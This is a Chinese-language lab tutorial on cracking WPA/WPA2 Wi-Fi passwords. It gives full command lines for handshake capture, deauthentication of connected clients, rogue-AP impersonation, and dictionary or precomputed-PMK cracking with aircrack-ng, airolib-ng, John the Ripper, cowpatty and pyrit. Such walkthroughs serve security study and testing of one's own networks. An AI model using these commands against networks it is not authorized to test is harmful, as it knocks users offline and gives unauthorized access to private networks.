无线网络WPA的攻击
主要有PSK攻击和AIROLIB、JTR、cowpatty、pyrit等工具的使用
(一)WPA PSK 攻击
WPA不存在WEP的弱点,只能基于字典暴力破解
PSK破解过程
启动monitor
抓握手包并保存
deauthentication攻击获取4步握手信息
字典暴力破解
2.实践
AP设置为WPA,AES加密
2.1
首先检测专用的USB无线网卡,我用的是RT3070(或者是RTL8187都可以) 就是这里的wlan0
2.2
停止掉一些不必要的服务:service network-manager stop
, airmon-ng check kill
然后启动网卡的monitor 模式: airmon-ng start wlan0
开始网络探测:airodump-ng wlan0mon
2.3
拿第一个无线实验,抓取握手包
airodump-ng -c 11 --bssid 2C:XX:XX:1D:53:50 -w wpa wlan0mon
#抓包,-c指定信道,–bssid指定侦听的AP,-w写入wpa文件
发现有一个客户端在线,但是没有握手包,所以 deauthentication攻击让他重连,来尽可能多的抓包,aireplay-ng -0 2 -a 2C:XX:XX:1D:53:50 -c DC:EF:XX:XX:XX:XX wlan0mon
-0指定攻击次数,-a指定AP,-c指定客户端
#成功抓取握手信息,wpa-01.cap
2.4
用自带字典暴力破解,得到了密码
aircrack-ng -w /usr/share/john/password.lst wpa-01.cap
字典还有以下这些
#/usr/share/wfuzz/wordlist/fuzzdb/wordlists-misc/
#/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/
#/usr/share/wordlists/rockyou.txt.gz
这里的密码比较简单能用字典很快跑出来,但是如果密码比较复杂可能跑不出来。
2、无AP情况下的WPA密码破解
启动monitor
抓包并保存
根据probe信息伪造相同ESSID的AP
获取4步握手信息的前两个包
字典暴力破解
实践
窗口1 伪装AP,下面二选一
airbase-ng --essid leon -c 11 -z 2 wlan0mon #伪装AP,-z 2指定TKIP,即WPA1
airbase-ng --essid leon -c 11 -Z 4 wlan0mon #伪装AP,-Z 4指定WPA2
1
窗口2 侦听抓包
airodump-ng -c 11 --bssid EC:26:CA:DC:29:B6 -w wpa wlan0mon #-c指定信道,--bssid指定侦听的AP,-w写入wpa文件
进行密码破解
aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa-02.cap #wpa这个文件就是抓包,可以用wireshark打开看看
#这时未成功连接,只有前面两个包,有可能破解不了
3、AIROLIB破解密码
原理
计算生成不变的PMK
PMK在破解阶段用于计算PTK
通过完整性摘要值破解密码
SQLite3数据库存储数据
实践
echo kifi > essid.txt
airolib-ng db --import essid essid.txt #创建数据库db
airolib-ng db --stats #当前数据库状态
airolib-ng db --import passwd /usr/share/wordlists/rockyou.txt #导入密码
airolib-ng db --batch #批处理,计算出PMK
aircrack-ng -r db wpa-01.cap #破解
4、JTR破解密码
基于规则扩展密码字典
获取手机号段利用JTR规则增加最后几位数字
vi打开配置文件/etc/john/john.conf
在[List.Rules:Wordlist]最后
加一段[0−9][0-9][0−9][0-9][0−9][0-9][0−9][0-9]
john --wordlist=yd.txt --rules --stdout #根据yd.txt生成密码字典
john --wordlist=yd.txt --rules --stdout | aircrack-ng -e kifi -w - wpa-01.cap #破解,-w -指定前面输出的内容
5、cowpatty破解密码
WPA通用破解工具,多平台
(1)密码字典破解
cowpatty -r wpa-01.cap -f /usr/share/john/password.lst -s kifi #用密码字典
(2)PMK破解
genpmk -f /usr/share/john/password.lst -d pmkhash -s kifi #生成PMK
cowpatty -r wpa-01.cap -d pmkhash -s kifi #用PMK破解
6、pyrit破解密码
与airolib、cowpatty相同,支持基于预计算的PMK提高破解速度
除了CPU,还可以用GPU
本身支持抓包获取四步握手,无需airodump
pyrit -r wlan0mon -o wpapyrit.cap stripLive #抓取WPA四次握手
pyrit -r wpapyrit.cap analyze #对抓来的包进行分析
pyrit -r wpa.cap -o wpapyrit.cap strip #如果是用airodump抓的包,需要转换再分析
(1)密码字典破解
pyrit -r wpapyrit.cap -i /usr/share/john/password.lst -b EC:26:CA:DC:29:B6 attack passthrough
#-b指定AP的MAC
(2)数据库模式破解
pyrit eval #查看默认数据库状态
pyrit -i /usr/share/john/password.lst import passwords #导入密码字典
pyrit -e kifi create essid #指定essid
pyrit batch #计算生成PMK,发挥GPU能力
pyrit -r wpapyrit.cap -b EC:26:CA:DC:29:B6 attack db #破解密码
结语
WPA安全性远高于WEP
破解难度高很多
pyrit工具比较好用
参考:
https://blog.csdn.net/weixin_44604541/article/details/104841574